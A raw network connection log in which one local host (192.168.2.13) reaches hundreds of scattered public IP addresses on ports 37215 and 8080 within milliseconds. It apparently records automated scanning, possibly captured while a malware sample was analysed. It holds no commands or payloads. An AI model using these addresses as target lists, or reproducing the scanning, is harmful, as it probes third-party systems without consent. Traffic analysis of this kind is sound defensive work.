Nov 23, 2023 05:14:48.596600056 CET	54970	37215	192.168.2.13	156.74.199.94
Nov 23, 2023 05:14:48.596604109 CET	54970	37215	192.168.2.13	41.247.168.229
Nov 23, 2023 05:14:48.596607924 CET	54970	37215	192.168.2.13	197.197.81.53
Nov 23, 2023 05:14:48.596615076 CET	54970	37215	192.168.2.13	156.166.49.198
Nov 23, 2023 05:14:48.596616030 CET	54970	37215	192.168.2.13	156.183.22.4
Nov 23, 2023 05:14:48.596616983 CET	54970	37215	192.168.2.13	197.12.158.255
Nov 23, 2023 05:14:48.596628904 CET	54970	37215	192.168.2.13	156.214.98.39
Nov 23, 2023 05:14:48.596632957 CET	54970	37215	192.168.2.13	41.77.231.92
Nov 23, 2023 05:14:48.596633911 CET	54970	37215	192.168.2.13	41.184.33.139
Nov 23, 2023 05:14:48.596637011 CET	54970	37215	192.168.2.13	41.131.75.47
Nov 23, 2023 05:14:48.616560936 CET	54202	8080	192.168.2.13	62.170.190.56
Nov 23, 2023 05:14:48.616573095 CET	54202	8080	192.168.2.13	31.255.12.189
Nov 23, 2023 05:14:48.616575956 CET	54202	8080	192.168.2.13	94.48.34.228
Nov 23, 2023 05:14:48.616575956 CET	54202	8080	192.168.2.13	62.202.73.240
Nov 23, 2023 05:14:48.616576910 CET	54202	8080	192.168.2.13	85.158.134.214
Nov 23, 2023 05:14:48.616576910 CET	54202	8080	192.168.2.13	31.150.240.135
Nov 23, 2023 05:14:48.616576910 CET	54202	8080	192.168.2.13	85.225.41.82
Nov 23, 2023 05:14:48.616576910 CET	54202	8080	192.168.2.13	95.140.165.3
Nov 23, 2023 05:14:48.616576910 CET	54202	8080	192.168.2.13	62.141.168.94
Nov 23, 2023 05:14:48.616580009 CET	54202	8080	192.168.2.13	31.40.117.209
Nov 23, 2023 05:14:48.616580009 CET	54202	8080	192.168.2.13	95.229.177.50
Nov 23, 2023 05:14:48.616580009 CET	54202	8080	192.168.2.13	62.76.189.154
Nov 23, 2023 05:14:48.616584063 CET	54202	8080	192.168.2.13	31.229.36.139
Nov 23, 2023 05:14:48.616584063 CET	54202	8080	192.168.2.13	94.198.103.103
Nov 23, 2023 05:14:48.616594076 CET	54202	8080	192.168.2.13	31.52.153.44
Nov 23, 2023 05:14:48.616597891 CET	54202	8080	192.168.2.13	94.84.139.46
Nov 23, 2023 05:14:48.616600037 CET	54202	8080	192.168.2.13	94.32.158.114
Nov 23, 2023 05:14:48.616600037 CET	54202	8080	192.168.2.13	62.81.36.89
Nov 23, 2023 05:14:48.616605997 CET	54202	8080	192.168.2.13	94.91.182.84
Nov 23, 2023 05:14:48.616609097 CET	54202	8080	192.168.2.13	62.46.216.188
Nov 23, 2023 05:14:48.616611004 CET	54202	8080	192.168.2.13	31.240.187.22
Nov 23, 2023 05:14:48.616611004 CET	54202	8080	192.168.2.13	85.153.18.63
Nov 23, 2023 05:14:48.616614103 CET	54202	8080	192.168.2.13	62.103.231.178
Nov 23, 2023 05:14:48.616633892 CET	54202	8080	192.168.2.13	95.78.121.85
Nov 23, 2023 05:14:48.616638899 CET	54202	8080	192.168.2.13	95.228.241.79
Nov 23, 2023 05:14:48.616650105 CET	54202	8080	192.168.2.13	31.222.2.59
Nov 23, 2023 05:14:48.616651058 CET	54202	8080	192.168.2.13	62.213.39.156
Nov 23, 2023 05:14:48.616652966 CET	54202	8080	192.168.2.13	94.167.14.44
Nov 23, 2023 05:14:48.616652966 CET	54202	8080	192.168.2.13	85.164.220.253
Nov 23, 2023 05:14:48.616661072 CET	54202	8080	192.168.2.13	62.47.236.108
Nov 23, 2023 05:14:48.616661072 CET	54202	8080	192.168.2.13	85.66.36.19
Nov 23, 2023 05:14:48.616661072 CET	54202	8080	192.168.2.13	94.13.221.166
Nov 23, 2023 05:14:48.616662979 CET	54202	8080	192.168.2.13	85.30.104.144
Nov 23, 2023 05:14:48.616666079 CET	54202	8080	192.168.2.13	85.184.202.120
Nov 23, 2023 05:14:48.616667986 CET	54202	8080	192.168.2.13	31.80.255.169
Nov 23, 2023 05:14:48.616667986 CET	54202	8080	192.168.2.13	31.190.33.32
Nov 23, 2023 05:14:48.616667986 CET	54202	8080	192.168.2.13	31.20.238.95
Nov 23, 2023 05:14:48.616668940 CET	54202	8080	192.168.2.13	95.116.84.209
Nov 23, 2023 05:14:48.616668940 CET	54202	8080	192.168.2.13	85.149.134.106
Nov 23, 2023 05:14:48.616667986 CET	54202	8080	192.168.2.13	62.61.87.146
Nov 23, 2023 05:14:48.616667986 CET	54202	8080	192.168.2.13	85.102.21.89
Nov 23, 2023 05:14:48.616667986 CET	54202	8080	192.168.2.13	62.70.54.227
Nov 23, 2023 05:14:48.616688967 CET	54202	8080	192.168.2.13	94.205.42.109
Nov 23, 2023 05:14:48.616688967 CET	54202	8080	192.168.2.13	62.145.219.95
Nov 23, 2023 05:14:48.616697073 CET	54202	8080	192.168.2.13	94.75.133.13
Nov 23, 2023 05:14:48.616700888 CET	54202	8080	192.168.2.13	85.83.87.201
Nov 23, 2023 05:14:48.616704941 CET	54202	8080	192.168.2.13	85.7.88.221
Nov 23, 2023 05:14:48.616704941 CET	54202	8080	192.168.2.13	94.82.239.129
Nov 23, 2023 05:14:48.616715908 CET	54202	8080	192.168.2.13	85.217.143.86
Nov 23, 2023 05:14:48.616715908 CET	54202	8080	192.168.2.13	85.170.186.71
Nov 23, 2023 05:14:48.616715908 CET	54202	8080	192.168.2.13	62.136.21.151
Nov 23, 2023 05:14:48.616722107 CET	54202	8080	192.168.2.13	95.105.48.237
Nov 23, 2023 05:14:48.616724968 CET	54202	8080	192.168.2.13	62.198.40.38
Nov 23, 2023 05:14:48.616739035 CET	54202	8080	192.168.2.13	31.89.240.130
Nov 23, 2023 05:14:48.616739035 CET	54202	8080	192.168.2.13	94.148.123.128
Nov 23, 2023 05:14:48.616741896 CET	54202	8080	192.168.2.13	85.235.105.166
Nov 23, 2023 05:14:48.616741896 CET	54202	8080	192.168.2.13	85.71.48.200
Nov 23, 2023 05:14:48.616750002 CET	54202	8080	192.168.2.13	95.145.52.120
Nov 23, 2023 05:14:48.616750956 CET	54202	8080	192.168.2.13	62.76.107.39
Nov 23, 2023 05:14:48.616759062 CET	54202	8080	192.168.2.13	94.236.220.41
Nov 23, 2023 05:14:48.616759062 CET	54202	8080	192.168.2.13	85.162.138.147
Nov 23, 2023 05:14:48.616766930 CET	54202	8080	192.168.2.13	62.101.94.64
Nov 23, 2023 05:14:48.616766930 CET	54202	8080	192.168.2.13	85.58.157.89
Nov 23, 2023 05:14:48.616766930 CET	54202	8080	192.168.2.13	85.17.97.186
Nov 23, 2023 05:14:48.616766930 CET	54202	8080	192.168.2.13	95.5.42.4
Nov 23, 2023 05:14:48.616779089 CET	54202	8080	192.168.2.13	94.8.198.239
Nov 23, 2023 05:14:48.616796017 CET	54202	8080	192.168.2.13	95.24.112.225
Nov 23, 2023 05:14:48.616796970 CET	54202	8080	192.168.2.13	94.89.173.180
Nov 23, 2023 05:14:48.616796970 CET	54202	8080	192.168.2.13	31.34.191.97
Nov 23, 2023 05:14:48.616802931 CET	54202	8080	192.168.2.13	95.162.239.61
Nov 23, 2023 05:14:48.616802931 CET	54202	8080	192.168.2.13	95.244.221.152
Nov 23, 2023 05:14:48.616802931 CET	54202	8080	192.168.2.13	95.65.113.201
Nov 23, 2023 05:14:48.616815090 CET	54202	8080	192.168.2.13	94.221.46.129
Nov 23, 2023 05:14:48.616817951 CET	54202	8080	192.168.2.13	95.173.28.231
Nov 23, 2023 05:14:48.616821051 CET	54202	8080	192.168.2.13	95.3.118.18
Nov 23, 2023 05:14:48.616823912 CET	54202	8080	192.168.2.13	94.162.186.29
Nov 23, 2023 05:14:48.616826057 CET	54202	8080	192.168.2.13	62.244.224.198
Nov 23, 2023 05:14:48.616827011 CET	54202	8080	192.168.2.13	94.232.90.65
Nov 23, 2023 05:14:48.616828918 CET	54202	8080	192.168.2.13	85.200.229.200
Nov 23, 2023 05:14:48.616843939 CET	54202	8080	192.168.2.13	62.200.72.5
Nov 23, 2023 05:14:48.616844893 CET	54202	8080	192.168.2.13	95.111.34.4
Nov 23, 2023 05:14:48.616844893 CET	54202	8080	192.168.2.13	95.124.197.46
Nov 23, 2023 05:14:48.616844893 CET	54202	8080	192.168.2.13	31.156.159.251
Nov 23, 2023 05:14:48.616851091 CET	54202	8080	192.168.2.13	62.141.66.239
Nov 23, 2023 05:14:48.616851091 CET	54202	8080	192.168.2.13	95.99.89.217
Nov 23, 2023 05:14:48.616852045 CET	54202	8080	192.168.2.13	94.163.206.158
Nov 23, 2023 05:14:48.616869926 CET	54202	8080	192.168.2.13	62.88.229.50
Nov 23, 2023 05:14:48.616872072 CET	54202	8080	192.168.2.13	62.40.152.218
Nov 23, 2023 05:14:48.616878986 CET	54202	8080	192.168.2.13	94.127.4.157
Nov 23, 2023 05:14:48.616883993 CET	54202	8080	192.168.2.13	94.169.19.94
Nov 23, 2023 05:14:48.616889000 CET	54202	8080	192.168.2.13	85.111.141.0
Nov 23, 2023 05:14:48.616893053 CET	54202	8080	192.168.2.13	95.193.4.119
Nov 23, 2023 05:14:48.616893053 CET	54202	8080	192.168.2.13	94.182.205.139
Nov 23, 2023 05:14:48.616894007 CET	54202	8080	192.168.2.13	94.221.21.242
Nov 23, 2023 05:14:48.616895914 CET	54202	8080	192.168.2.13	94.41.124.225
Nov 23, 2023 05:14:48.616903067 CET	54202	8080	192.168.2.13	85.58.75.249
Nov 23, 2023 05:14:48.616908073 CET	54202	8080	192.168.2.13	31.212.61.85
Nov 23, 2023 05:14:48.616919041 CET	54202	8080	192.168.2.13	85.78.248.135
Nov 23, 2023 05:14:48.616919041 CET	54202	8080	192.168.2.13	85.45.59.8
Nov 23, 2023 05:14:48.616919994 CET	54202	8080	192.168.2.13	85.1.253.231
Nov 23, 2023 05:14:48.616919994 CET	54202	8080	192.168.2.13	85.175.176.217
Nov 23, 2023 05:14:48.616925001 CET	54202	8080	192.168.2.13	85.53.49.228
Nov 23, 2023 05:14:48.616946936 CET	54202	8080	192.168.2.13	95.71.70.11
Nov 23, 2023 05:14:48.616952896 CET	54202	8080	192.168.2.13	85.90.179.49
Nov 23, 2023 05:14:48.616952896 CET	54202	8080	192.168.2.13	95.102.53.230
Nov 23, 2023 05:14:48.616952896 CET	54202	8080	192.168.2.13	62.240.151.218
Nov 23, 2023 05:14:48.616952896 CET	54202	8080	192.168.2.13	62.150.172.33
Nov 23, 2023 05:14:48.616961956 CET	54202	8080	192.168.2.13	85.51.96.196
Nov 23, 2023 05:14:48.616961956 CET	54202	8080	192.168.2.13	95.196.28.47
Nov 23, 2023 05:14:48.616961956 CET	54202	8080	192.168.2.13	85.85.166.136
Nov 23, 2023 05:14:48.616975069 CET	54202	8080	192.168.2.13	62.142.211.197
Nov 23, 2023 05:14:48.616976976 CET	54202	8080	192.168.2.13	94.94.185.104
Nov 23, 2023 05:14:48.616976976 CET	54202	8080	192.168.2.13	62.99.157.97
Nov 23, 2023 05:14:48.616978884 CET	54202	8080	192.168.2.13	62.92.76.129
Nov 23, 2023 05:14:48.616978884 CET	54202	8080	192.168.2.13	62.8.43.102
Nov 23, 2023 05:14:48.616992950 CET	54202	8080	192.168.2.13	31.105.83.220
Nov 23, 2023 05:14:48.616997004 CET	54202	8080	192.168.2.13	31.144.160.171
Nov 23, 2023 05:14:48.617006063 CET	54202	8080	192.168.2.13	95.101.217.144
Nov 23, 2023 05:14:48.617006063 CET	54202	8080	192.168.2.13	31.115.123.47
Nov 23, 2023 05:14:48.617006063 CET	54202	8080	192.168.2.13	85.35.6.80
Nov 23, 2023 05:14:48.617007971 CET	54202	8080	192.168.2.13	95.185.180.212
Nov 23, 2023 05:14:48.617008924 CET	54202	8080	192.168.2.13	31.155.5.188
Nov 23, 2023 05:14:48.617022038 CET	54202	8080	192.168.2.13	31.111.245.89
Nov 23, 2023 05:14:48.617022038 CET	54202	8080	192.168.2.13	31.169.230.61
Nov 23, 2023 05:14:48.617024899 CET	54202	8080	192.168.2.13	85.19.134.139
Nov 23, 2023 05:14:48.617031097 CET	54202	8080	192.168.2.13	62.139.142.224
Nov 23, 2023 05:14:48.617046118 CET	54202	8080	192.168.2.13	62.201.186.171
Nov 23, 2023 05:14:48.617047071 CET	54202	8080	192.168.2.13	95.117.34.25
Nov 23, 2023 05:14:48.617047071 CET	54202	8080	192.168.2.13	31.6.47.157
Nov 23, 2023 05:14:48.617048025 CET	54202	8080	192.168.2.13	31.88.22.138
Nov 23, 2023 05:14:48.617048025 CET	54202	8080	192.168.2.13	31.12.99.184
Nov 23, 2023 05:14:48.617048979 CET	54202	8080	192.168.2.13	95.85.111.133
Nov 23, 2023 05:14:48.617055893 CET	54202	8080	192.168.2.13	95.238.71.162
Nov 23, 2023 05:14:48.617077112 CET	54202	8080	192.168.2.13	31.55.157.137
Nov 23, 2023 05:14:48.617077112 CET	54202	8080	192.168.2.13	95.31.91.119
Nov 23, 2023 05:14:48.617078066 CET	54202	8080	192.168.2.13	31.245.215.238
Nov 23, 2023 05:14:48.617078066 CET	54202	8080	192.168.2.13	95.142.8.229
Nov 23, 2023 05:14:48.617079973 CET	54202	8080	192.168.2.13	31.212.171.216
Nov 23, 2023 05:14:48.617080927 CET	54202	8080	192.168.2.13	94.167.192.174
Nov 23, 2023 05:14:48.617080927 CET	54202	8080	192.168.2.13	62.81.183.82
Nov 23, 2023 05:14:48.617084026 CET	54202	8080	192.168.2.13	62.78.171.54
Nov 23, 2023 05:14:48.617100000 CET	54202	8080	192.168.2.13	95.66.193.233
Nov 23, 2023 05:14:48.617100000 CET	54202	8080	192.168.2.13	85.173.73.77
Nov 23, 2023 05:14:48.617100954 CET	54202	8080	192.168.2.13	62.178.169.179
Nov 23, 2023 05:14:48.617110968 CET	54202	8080	192.168.2.13	94.163.91.178
Nov 23, 2023 05:14:48.617117882 CET	54202	8080	192.168.2.13	95.37.198.49
Nov 23, 2023 05:14:48.617122889 CET	54202	8080	192.168.2.13	85.187.165.135
Nov 23, 2023 05:14:48.617124081 CET	54202	8080	192.168.2.13	94.47.62.36
Nov 23, 2023 05:14:48.617124081 CET	54202	8080	192.168.2.13	94.139.33.208
Nov 23, 2023 05:14:48.617130041 CET	54202	8080	192.168.2.13	95.112.106.240
Nov 23, 2023 05:14:48.617130041 CET	54202	8080	192.168.2.13	94.183.115.193
Nov 23, 2023 05:14:48.617130041 CET	54202	8080	192.168.2.13	95.93.39.143
Nov 23, 2023 05:14:48.617139101 CET	54202	8080	192.168.2.13	85.11.233.113
Nov 23, 2023 05:14:48.617140055 CET	54202	8080	192.168.2.13	85.197.67.192
Nov 23, 2023 05:14:48.617141962 CET	54202	8080	192.168.2.13	31.107.160.140
Nov 23, 2023 05:14:48.617146015 CET	54202	8080	192.168.2.13	94.116.51.190
Nov 23, 2023 05:14:48.617151022 CET	54202	8080	192.168.2.13	94.67.201.22
Nov 23, 2023 05:14:48.617161989 CET	54202	8080	192.168.2.13	85.134.179.139
Nov 23, 2023 05:14:48.617161989 CET	54202	8080	192.168.2.13	31.9.217.210
Nov 23, 2023 05:14:48.617161989 CET	54202	8080	192.168.2.13	62.170.82.43
Nov 23, 2023 05:14:48.617176056 CET	54202	8080	192.168.2.13	94.191.118.187
Nov 23, 2023 05:14:48.617176056 CET	54202	8080	192.168.2.13	95.104.55.249
Nov 23, 2023 05:14:48.617177963 CET	54202	8080	192.168.2.13	94.151.120.192
Nov 23, 2023 05:14:48.617186069 CET	54202	8080	192.168.2.13	85.77.61.254
Nov 23, 2023 05:14:48.617186069 CET	54202	8080	192.168.2.13	95.47.47.198
Nov 23, 2023 05:14:48.617189884 CET	54202	8080	192.168.2.13	95.13.193.13
Nov 23, 2023 05:14:48.617193937 CET	54202	8080	192.168.2.13	62.152.219.144
Nov 23, 2023 05:14:48.617193937 CET	54202	8080	192.168.2.13	94.207.8.231
Nov 23, 2023 05:14:48.617196083 CET	54202	8080	192.168.2.13	31.98.138.76
Nov 23, 2023 05:14:48.617198944 CET	54202	8080	192.168.2.13	95.80.58.50
Nov 23, 2023 05:14:48.617207050 CET	54202	8080	192.168.2.13	95.160.209.93
Nov 23, 2023 05:14:48.617207050 CET	54202	8080	192.168.2.13	62.42.55.147
Nov 23, 2023 05:14:48.617218018 CET	54202	8080	192.168.2.13	94.202.15.168
Nov 23, 2023 05:14:48.617224932 CET	54202	8080	192.168.2.13	94.90.245.136
Nov 23, 2023 05:14:48.617224932 CET	54202	8080	192.168.2.13	95.250.124.141
Nov 23, 2023 05:14:48.617228031 CET	54202	8080	192.168.2.13	62.245.83.139
Nov 23, 2023 05:14:48.617235899 CET	54202	8080	192.168.2.13	94.99.230.34
Nov 23, 2023 05:14:48.617235899 CET	54202	8080	192.168.2.13	94.95.79.250
Nov 23, 2023 05:14:48.617238045 CET	54202	8080	192.168.2.13	94.130.192.122
Nov 23, 2023 05:14:48.617238045 CET	54202	8080	192.168.2.13	95.178.154.39
Nov 23, 2023 05:14:48.617245913 CET	54202	8080	192.168.2.13	85.213.181.213
Nov 23, 2023 05:14:48.617245913 CET	54202	8080	192.168.2.13	31.172.169.231
Nov 23, 2023 05:14:48.617245913 CET	54202	8080	192.168.2.13	94.14.73.64
Nov 23, 2023 05:14:48.617264032 CET	54202	8080	192.168.2.13	85.166.231.205
Nov 23, 2023 05:14:48.617264986 CET	54202	8080	192.168.2.13	94.195.111.144
Nov 23, 2023 05:14:48.617268085 CET	54202	8080	192.168.2.13	95.112.251.220
Nov 23, 2023 05:14:48.617268085 CET	54202	8080	192.168.2.13	85.234.153.81
Nov 23, 2023 05:14:48.617269039 CET	54202	8080	192.168.2.13	62.27.13.75
Nov 23, 2023 05:14:48.617269039 CET	54202	8080	192.168.2.13	95.209.126.106
Nov 23, 2023 05:14:48.617271900 CET	54202	8080	192.168.2.13	62.182.250.202
Nov 23, 2023 05:14:48.617271900 CET	54202	8080	192.168.2.13	85.48.193.126
Nov 23, 2023 05:14:48.617274046 CET	54202	8080	192.168.2.13	62.201.192.238
Nov 23, 2023 05:14:48.617290974 CET	54202	8080	192.168.2.13	85.173.148.181
Nov 23, 2023 05:14:48.617290974 CET	54202	8080	192.168.2.13	95.129.118.211
Nov 23, 2023 05:14:48.617291927 CET	54202	8080	192.168.2.13	31.49.247.129
Nov 23, 2023 05:14:48.617291927 CET	54202	8080	192.168.2.13	94.237.189.75
Nov 23, 2023 05:14:48.617295980 CET	54202	8080	192.168.2.13	85.77.226.90
Nov 23, 2023 05:14:48.617295980 CET	54202	8080	192.168.2.13	95.202.254.35
Nov 23, 2023 05:14:48.617304087 CET	54202	8080	192.168.2.13	94.196.223.250
Nov 23, 2023 05:14:48.617304087 CET	54202	8080	192.168.2.13	95.113.199.74
Nov 23, 2023 05:14:48.617304087 CET	54202	8080	192.168.2.13	31.189.54.170
Nov 23, 2023 05:14:48.617307901 CET	54202	8080	192.168.2.13	85.168.58.205
Nov 23, 2023 05:14:48.617326975 CET	54202	8080	192.168.2.13	85.82.54.144
Nov 23, 2023 05:14:48.617330074 CET	54202	8080	192.168.2.13	85.198.1.106
Nov 23, 2023 05:14:48.617330074 CET	54202	8080	192.168.2.13	85.146.27.76
Nov 23, 2023 05:14:48.617330074 CET	54202	8080	192.168.2.13	85.123.24.218
Nov 23, 2023 05:14:48.617330074 CET	54202	8080	192.168.2.13	31.163.162.179
Nov 23, 2023 05:14:48.617338896 CET	54202	8080	192.168.2.13	94.228.220.183
Nov 23, 2023 05:14:48.617341042 CET	54202	8080	192.168.2.13	62.124.32.83
Nov 23, 2023 05:14:48.617351055 CET	54202	8080	192.168.2.13	85.236.180.22
Nov 23, 2023 05:14:48.617351055 CET	54202	8080	192.168.2.13	94.198.214.123
Nov 23, 2023 05:14:48.617355108 CET	54202	8080	192.168.2.13	85.114.58.71
Nov 23, 2023 05:14:48.617357016 CET	54202	8080	192.168.2.13	62.175.215.33
Nov 23, 2023 05:14:48.617357969 CET	54202	8080	192.168.2.13	94.237.196.61
Nov 23, 2023 05:14:48.617367029 CET	54202	8080	192.168.2.13	62.171.109.93
Nov 23, 2023 05:14:48.617367983 CET	54202	8080	192.168.2.13	62.253.153.230
Nov 23, 2023 05:14:48.617374897 CET	54202	8080	192.168.2.13	62.183.164.255
Nov 23, 2023 05:14:48.617383003 CET	54202	8080	192.168.2.13	31.191.180.179
Nov 23, 2023 05:14:48.617383957 CET	54202	8080	192.168.2.13	85.200.207.111
Nov 23, 2023 05:14:48.617386103 CET	54202	8080	192.168.2.13	95.182.50.76
Nov 23, 2023 05:14:48.617389917 CET	54202	8080	192.168.2.13	95.58.135.129
Nov 23, 2023 05:14:48.617389917 CET	54202	8080	192.168.2.13	31.186.55.178
Nov 23, 2023 05:14:48.617391109 CET	54202	8080	192.168.2.13	31.246.49.121
Nov 23, 2023 05:14:48.617400885 CET	54202	8080	192.168.2.13	85.231.148.28
Nov 23, 2023 05:14:48.617405891 CET	54202	8080	192.168.2.13	85.20.63.96
Nov 23, 2023 05:14:48.617405891 CET	54202	8080	192.168.2.13	85.151.3.250
Nov 23, 2023 05:14:48.617418051 CET	54202	8080	192.168.2.13	31.95.196.83
Nov 23, 2023 05:14:48.617419004 CET	54202	8080	192.168.2.13	95.220.95.99
Nov 23, 2023 05:14:48.617419004 CET	54202	8080	192.168.2.13	95.134.165.235
Nov 23, 2023 05:14:48.617419958 CET	54202	8080	192.168.2.13	85.110.23.217
Nov 23, 2023 05:14:48.617424011 CET	54202	8080	192.168.2.13	95.158.84.81
Nov 23, 2023 05:14:48.617427111 CET	54202	8080	192.168.2.13	85.74.157.90
Nov 23, 2023 05:14:48.617430925 CET	54202	8080	192.168.2.13	95.11.196.34
Nov 23, 2023 05:14:48.617430925 CET	54202	8080	192.168.2.13	31.165.55.188
Nov 23, 2023 05:14:48.617439985 CET	54202	8080	192.168.2.13	85.69.17.233
Nov 23, 2023 05:14:48.617441893 CET	54202	8080	192.168.2.13	85.140.204.205
Nov 23, 2023 05:14:48.617441893 CET	54202	8080	192.168.2.13	94.138.151.191
Nov 23, 2023 05:14:48.617449999 CET	54202	8080	192.168.2.13	95.9.139.244
Nov 23, 2023 05:14:48.617458105 CET	54202	8080	192.168.2.13	85.36.115.168
Nov 23, 2023 05:14:48.617458105 CET	54202	8080	192.168.2.13	85.7.84.76
Nov 23, 2023 05:14:48.617460966 CET	54202	8080	192.168.2.13	85.25.42.118
Nov 23, 2023 05:14:48.617481947 CET	54202	8080	192.168.2.13	94.233.128.25
Nov 23, 2023 05:14:48.617484093 CET	54202	8080	192.168.2.13	31.53.188.22
Nov 23, 2023 05:14:48.617486954 CET	54202	8080	192.168.2.13	85.2.220.159
Nov 23, 2023 05:14:48.617486954 CET	54202	8080	192.168.2.13	95.78.56.212
Nov 23, 2023 05:14:48.617486954 CET	54202	8080	192.168.2.13	31.165.148.124
Nov 23, 2023 05:14:48.617492914 CET	54202	8080	192.168.2.13	31.74.244.75
Nov 23, 2023 05:14:48.617497921 CET	54202	8080	192.168.2.13	31.13.27.175
Nov 23, 2023 05:14:48.617500067 CET	54202	8080	192.168.2.13	94.172.140.83
Nov 23, 2023 05:14:48.617501020 CET	54202	8080	192.168.2.13	94.76.64.12
Nov 23, 2023 05:14:48.617501020 CET	54202	8080	192.168.2.13	94.154.99.100
Nov 23, 2023 05:14:48.617501020 CET	54202	8080	192.168.2.13	85.94.1.61
Nov 23, 2023 05:14:48.617511034 CET	54202	8080	192.168.2.13	94.20.140.161
Nov 23, 2023 05:14:48.617521048 CET	54202	8080	192.168.2.13	94.196.138.220
Nov 23, 2023 05:14:48.617521048 CET	54202	8080	192.168.2.13	62.200.61.63
Nov 23, 2023 05:14:48.617521048 CET	54202	8080	192.168.2.13	85.80.73.185
Nov 23, 2023 05:14:48.617522001 CET	54202	8080	192.168.2.13	31.71.187.93
Nov 23, 2023 05:14:48.617522001 CET	54202	8080	192.168.2.13	85.238.0.215
Nov 23, 2023 05:14:48.617522955 CET	54202	8080	192.168.2.13	85.40.48.228
Nov 23, 2023 05:14:48.617522955 CET	54202	8080	192.168.2.13	31.180.5.162
Nov 23, 2023 05:14:48.617531061 CET	54202	8080	192.168.2.13	95.88.236.175
Nov 23, 2023 05:14:48.617536068 CET	54202	8080	192.168.2.13	31.29.233.4
Nov 23, 2023 05:14:48.617541075 CET	54202	8080	192.168.2.13	62.191.63.193
Nov 23, 2023 05:14:48.617542982 CET	54202	8080	192.168.2.13	31.172.250.223
Nov 23, 2023 05:14:48.617544889 CET	54202	8080	192.168.2.13	62.253.95.13
Nov 23, 2023 05:14:48.617561102 CET	54202	8080	192.168.2.13	95.1.169.18
Nov 23, 2023 05:14:48.617562056 CET	54202	8080	192.168.2.13	94.87.252.71
Nov 23, 2023 05:14:48.617562056 CET	54202	8080	192.168.2.13	95.135.85.240
Nov 23, 2023 05:14:48.617563963 CET	54202	8080	192.168.2.13	85.126.73.69
Nov 23, 2023 05:14:48.617575884 CET	54202	8080	192.168.2.13	62.0.63.250
Nov 23, 2023 05:14:48.617577076 CET	54202	8080	192.168.2.13	95.131.137.68
Nov 23, 2023 05:14:48.617578983 CET	54202	8080	192.168.2.13	94.153.117.239
Nov 23, 2023 05:14:48.617580891 CET	54202	8080	192.168.2.13	31.229.108.9
Nov 23, 2023 05:14:48.617582083 CET	54202	8080	192.168.2.13	31.162.126.146
Nov 23, 2023 05:14:48.617590904 CET	54202	8080	192.168.2.13	31.1.129.104
Nov 23, 2023 05:14:48.617590904 CET	54202	8080	192.168.2.13	94.181.124.236
Nov 23, 2023 05:14:48.617592096 CET	54202	8080	192.168.2.13	62.187.100.68
Nov 23, 2023 05:14:48.617600918 CET	54202	8080	192.168.2.13	85.58.117.140
Nov 23, 2023 05:14:48.617610931 CET	54202	8080	192.168.2.13	85.171.147.102
Nov 23, 2023 05:14:48.617615938 CET	54202	8080	192.168.2.13	95.185.155.219
Nov 23, 2023 05:14:48.617624998 CET	54202	8080	192.168.2.13	62.84.205.83
Nov 23, 2023 05:14:48.617624998 CET	54202	8080	192.168.2.13	95.8.41.75
Nov 23, 2023 05:14:48.617624998 CET	54202	8080	192.168.2.13	31.133.233.88
Nov 23, 2023 05:14:48.617644072 CET	54202	8080	192.168.2.13	31.87.92.234
Nov 23, 2023 05:14:48.617646933 CET	54202	8080	192.168.2.13	31.240.113.101
Nov 23, 2023 05:14:48.617649078 CET	54202	8080	192.168.2.13	85.175.216.57
Nov 23, 2023 05:14:48.617649078 CET	54202	8080	192.168.2.13	62.77.148.49
Nov 23, 2023 05:14:48.617662907 CET	54202	8080	192.168.2.13	85.242.227.197
Nov 23, 2023 05:14:48.617664099 CET	54202	8080	192.168.2.13	62.136.174.72
Nov 23, 2023 05:14:48.617664099 CET	54202	8080	192.168.2.13	94.131.27.66
Nov 23, 2023 05:14:48.617665052 CET	54202	8080	192.168.2.13	62.70.126.126
Nov 23, 2023 05:14:48.617666006 CET	54202	8080	192.168.2.13	62.172.229.223
Nov 23, 2023 05:14:48.617666960 CET	54202	8080	192.168.2.13	94.71.239.80
Nov 23, 2023 05:14:48.617666960 CET	54202	8080	192.168.2.13	62.227.195.192
Nov 23, 2023 05:14:48.617679119 CET	54202	8080	192.168.2.13	85.116.25.48
Nov 23, 2023 05:14:48.617682934 CET	54202	8080	192.168.2.13	95.97.15.161
Nov 23, 2023 05:14:48.617682934 CET	54202	8080	192.168.2.13	31.204.241.84
Nov 23, 2023 05:14:48.617691040 CET	54202	8080	192.168.2.13	95.180.111.154
Nov 23, 2023 05:14:48.617693901 CET	54202	8080	192.168.2.13	85.69.74.220
Nov 23, 2023 05:14:48.617693901 CET	54202	8080	192.168.2.13	85.168.254.179
Nov 23, 2023 05:14:48.617695093 CET	54202	8080	192.168.2.13	31.165.184.224
Nov 23, 2023 05:14:48.617702007 CET	54202	8080	192.168.2.13	31.243.90.108
Nov 23, 2023 05:14:48.617702007 CET	54202	8080	192.168.2.13	62.202.88.248
Nov 23, 2023 05:14:48.617705107 CET	54202	8080	192.168.2.13	31.95.188.128
Nov 23, 2023 05:14:48.617718935 CET	54202	8080	192.168.2.13	94.114.181.254
Nov 23, 2023 05:14:48.617718935 CET	54202	8080	192.168.2.13	85.134.145.178
Nov 23, 2023 05:14:48.617722034 CET	54202	8080	192.168.2.13	62.158.55.99
Nov 23, 2023 05:14:48.617722034 CET	54202	8080	192.168.2.13	95.189.69.18
Nov 23, 2023 05:14:48.617743015 CET	54202	8080	192.168.2.13	94.113.174.112
Nov 23, 2023 05:14:48.617743015 CET	54202	8080	192.168.2.13	85.144.159.212
Nov 23, 2023 05:14:48.617743969 CET	54202	8080	192.168.2.13	94.200.202.69
Nov 23, 2023 05:14:48.617743969 CET	54202	8080	192.168.2.13	31.234.245.70
Nov 23, 2023 05:14:48.617744923 CET	54202	8080	192.168.2.13	62.227.73.195
Nov 23, 2023 05:14:48.617752075 CET	54202	8080	192.168.2.13	94.17.177.5
Nov 23, 2023 05:14:48.617760897 CET	54202	8080	192.168.2.13	85.114.132.199
Nov 23, 2023 05:14:48.617765903 CET	54202	8080	192.168.2.13	62.31.144.234
Nov 23, 2023 05:14:48.617774010 CET	54202	8080	192.168.2.13	85.250.5.204
Nov 23, 2023 05:14:48.617774963 CET	54202	8080	192.168.2.13	62.2.63.66
Nov 23, 2023 05:14:48.617774010 CET	54202	8080	192.168.2.13	94.16.133.36
Nov 23, 2023 05:14:48.617779970 CET	54202	8080	192.168.2.13	31.98.83.19
Nov 23, 2023 05:14:48.617789030 CET	54202	8080	192.168.2.13	94.87.64.70
Nov 23, 2023 05:14:48.617789984 CET	54202	8080	192.168.2.13	31.143.47.190
Nov 23, 2023 05:14:48.617789030 CET	54202	8080	192.168.2.13	62.225.107.143
